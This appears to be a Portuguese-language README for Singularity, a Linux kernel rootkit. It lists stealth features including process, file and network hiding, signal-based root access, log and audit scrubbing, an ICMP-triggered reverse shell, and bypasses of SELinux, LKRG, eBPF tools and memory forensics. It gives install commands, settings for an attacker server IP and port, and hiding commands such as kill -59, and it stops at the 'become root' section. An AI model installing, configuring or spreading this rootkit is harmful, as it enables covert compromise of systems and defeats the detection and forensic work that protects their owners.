Singularity - Rootkit Furtivo para o Kernel Linux
"Vamos dar um pouco de trabalho à forense?"
Singularity é um poderoso rootkit de Módulo do Kernel Linux (LKM) projetado para kernels modernos 6.x. Ele fornece capacidades abrangentes de furtividade através de hooking avançado de chamadas de sistema via infraestrutura ftrace.
Artigo Completo de Pesquisa (versão desatualizada): Singularity: A Final Boss Linux Kernel Rootkit
Estudo de Caso de Evasão de EDR: Bypassing Elastic EDR with Singularity
Vídeo POC: Singularity vs ferramentas de segurança eBPF: Singularity vs eBPF security tools
Quebrando a Segurança eBPF com hooks do Singularity: Breaking eBPF
Singularity Rootkit: Evadindo a Detecção de Carregamento de Módulo do Elastic Defend Bypassing Elastic Defend
O que é o Singularity?
Singularity é um rootkit sofisticado que opera no nível do kernel, fornecendo:
- Ocultação de Processos: Torna qualquer processo completamente invisível ao sistema
- Ocultação de Arquivos e Diretórios: Oculta arquivos usando correspondência de padrões
- Furtividade de Rede: Oculta conexões TCP/UDP, portas e entradas conntrack
- Escalação de Privilégios: Acesso root instantâneo baseado em sinais
- Sanitização de Logs: Filtra logs do kernel e journals do sistema em tempo real
- Auto-Ocultação: Remove-se de listas de módulos e monitoramento do sistema
- Acesso Remoto: Reverse shell acionado por ICMP com ocultação automática
- Anti-Detecção: Evade ferramentas de segurança em tempo de execução baseadas em eBPF (Falco, Tracee), contorna o Linux Kernel Runtime Guard (LKRG) e previne tentativas de bypass via io_uring
- Evasão de Auditoria: Descarta mensagens de auditoria para processos ocultos no nível netlink com rastreamento de estatísticas e filtragem de inode de socket
- Evasão de Forense de Memória: Bloqueia a aquisição via LiME e AVML; zera páginas de módulos e task_structs ocultos em dumps físicos; filtra /proc/kcore, /proc/kallsyms, /proc/vmallocinfo
- Filtragem de Cgroup: Filtra PIDs ocultos de cgroup.procs
- Evasão de Syslog: Hook em do_syslog para filtrar o acesso ao ring buffer do kernel via klogctl()
- Evasão de Debugfs: Filtra a saída de ferramentas como debugfs que leem dispositivos de bloco brutos
- Filtragem de Conntrack: Oculta conexões de /proc/net/nf_conntrack e consultas netlink SOCK_DIAG/NETFILTER
- Evasão de SELinux: Bypass automático do modo enforcing do SELinux no acionamento por ICMP
- Bypass do LKRG: Evade os mecanismos de detecção do Linux Kernel Runtime Guard
- Bypass de Segurança eBPF: Oculta processos de ferramentas de segurança em tempo de execução baseadas em eBPF (Falco, Tracee)
Funcionalidades
- Elevação de privilégios baseada em sinais (kill -59)
- Ocultação completa de processos de /proc e ferramentas de monitoramento
- Ocultação de sistema de arquivos baseada em padrões para arquivos e diretórios
- Ocultação de conexões de rede de netstat, ss, conntrack e analisadores de pacotes
- Filtragem avançada de netlink (SOCK_DIAG, mensagens NETFILTER/conntrack)
- Filtragem de logs do kernel em tempo real para dmesg, journalctl e klogctl
- Auto-ocultação do módulo de lsmod e /sys/module
- Normalização automática de flags de taint do kernel
- Filtragem de dados BPF para prevenir detecção baseada em eBPF
- Proteção io_uring contra bypass de I/O assíncrono
- Mascaramento de logs para mensagens do kernel e logs do sistema
- Evasão de detectores de rootkit padrão (unhide, chkrootkit, rkhunter)
- Rastreamento e ocultação automática de processos filhos via hooks de tracepoint
- Suporte multi-arquitetura (x64 + ia32)
- Filtragem em nível de pacote de rede com proteção de socket bruto
- Proteção contra todas as variantes de I/O de arquivo (read, write, splice, sendfile, tee, copy_file_range)
- Filtragem de mensagens de auditoria em nível netlink com rastreamento de estatísticas para evadir detecção do auditd
- Rastreamento de inode de socket para ocultação abrangente de rede
- Filtragem de PID em cgroup para prevenir detecção via
/sys/fs/cgroup/*/cgroup.procs
- Bloqueio de TaskStats netlink para prevenir enumeração de PID
- Resistência à aquisição de memória física: kprobe em
copy_mc_to_kernel intercepta cópias de páginas do LiME e redireciona páginas de módulos e intervalos de task_struct ocultos para buffers zerados; AVML bloqueado via hook de leitura de /proc/kcore
- Filtragem de leitura de /proc/kcore, /proc/kallsyms, /proc/vmallocinfo
- Hook em do_syslog para filtrar klogctl() e prevenir vazamentos do ring buffer do kernel
- Filtragem de saída de dispositivos de bloco para evadir debugfs e ferramentas similares de forense de disco
- Filtragem de saída de journalctl -k via hook de escrita
- Capacidade de bypass do modo enforcing do SELinux para shells acionados por ICMP
- Bypass de verificações de integridade do LKRG para processos ocultos
- Ocultação de eventos do Falco via ringbuffer BPF e interceptação de eventos perf
Instalação
Pré-requisitos
- Kernel Linux 6.x
- Headers do kernel para o seu kernel em execução
- GCC e Make
- Acesso root
Instalação Rápida
cd /dev/shm
git clone https://github.com/MatheuZSecurity/Singularity
cd Singularity
sudo bash setup.sh
cd ..
É isso. O módulo automaticamente:
- Oculta-se de lsmod, /proc/modules, /sys/module
- Limpa as flags de taint do kernel
- Filtra strings sensíveis de dmesg, journalctl -k, klogctl
- Começa a proteger seus arquivos e processos ocultos
Notas Importantes
O módulo se oculta automaticamente após o carregamento
Não há recurso de descarregamento - reinicialização necessária para remover
Teste em uma VM primeiro - não pode ser removido sem reiniciar
Configuração
Defina o IP e a Porta do Seu Servidor
Edite include/core.h:
#define YOUR_SRV_IP "192.168.1.100" // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } } // IPv6 if needed
Edite modules/icmp.c:
#define SRV_PORT "8081" // Change this to your desired port
Edite modules/bpf_hook.c:
#define HIDDEN_PORT 8081 // Must match SRV_PORT
Edite modules/hiding_tcp.c:
#define PORT 8081 // Must match SRV_PORT
Importante: Todas as definições de porta devem corresponder para o correto funcionamento do ocultamento de rede e do shell reverso ICMP.
Uso
Ocultar Processos
# Hide current shell
kill -59 $$
# Hide specific process
kill -59 <PID>
O processo será invisível para ps, top, htop, /proc e todas as ferramentas de monitoramento. Todos os processos filhos são rastreados e ocultados automaticamente.
Ocultar Arquivos e Diretórios
Arquivos que correspondem aos seus padrões configurados são ocultados automaticamente:
mkdir singularity
echo "secret" > singularity/data.txt
# Invisible to ls, find, locate
ls -la | grep singularity
# (no output)
# But you can still access it
cat singularity/data.txt
# secret
# cd is blocked for security
cd singularity
# bash: cd: singularity: No such file or directory
Tornar-se Root